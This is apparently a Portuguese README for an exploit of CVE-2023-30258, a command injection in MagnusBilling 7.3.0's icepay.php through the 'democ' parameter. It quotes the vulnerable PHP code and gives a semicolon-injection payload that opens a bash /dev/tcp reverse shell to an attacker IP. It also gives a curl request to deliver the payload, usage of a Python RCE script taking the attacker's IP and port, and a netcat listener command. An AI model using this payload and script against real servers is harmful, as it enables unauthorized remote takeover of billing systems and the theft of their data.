
Exploit para CVE-2023-30258: execução remota de código no MagnusBilling 7.3.0 via parâmetro 'democ' não sanitizado em icepay.php, permitindo injeção de comandos e reverse shell.
Existe uma vulnerabilidade de execução remota de código no magnus billing 7.3.0, no parâmetro "democ" do recurso "icepay.php", onde você pode escapar da consulta e executar o comando que desejar.
if (isset($_GET['democ'])) {
if (strlen($_GET['democ']) > 5) {
exec("touch " . $_GET['democ'] . '.txt');
} else {
exec("rm -rf *.txt");
}
}
O parâmetro "democ" é passado para exec(), para criar um novo arquivo, mas como você pode ver, não há nenhuma sanitização de string, e o atacante pode facilmente escapar do comando touch e executar um comando ou até mesmo obter um reverse shell. Para contornar a extensão txt, podemos simplesmente adicionar outro ";" no final da string. O payload final ficaria assim:
testfile;<command>;testfile
e é assim que ficaria quando passado para a função exec():
exec('touch testfile;<command>;testfile.txt');
ex. reverse shell:
exec('touch testfile; bash -c "bash -i >& /dev/tcp/<ip>/<port> 0>&1";testfile.txt')
poderíamos usar curl para obter um reverse shell, ex.
curl -X GET http://127.0.0.1:8080/lib/icepay/icepay.php?democ=testfile;<urlencoded_payload>;testfile
ou se preferir, pode usar o script python deste repositório. Instalação:
git clone https://github.com/kayl22/magnus_billing_7.3.0_RCE_CVE-2023-30258 # get the repository
cd ./magnus_billing_7.3.0_RCE_CVE-2023-30258 # change directory
chmod +x ./magnusbilling_rce.py # add execution permissions to the python script
uso:
./magnusbilling_rce.py -h # show help
./magnusbilling_rce.py -lh <attacker_ip> -lp <local_port> -u http://<ip/domain>:<port>/
e por último, mas não menos importante, lembre-se de iniciar um listener com netcat:
nc -nlvvp <local_port>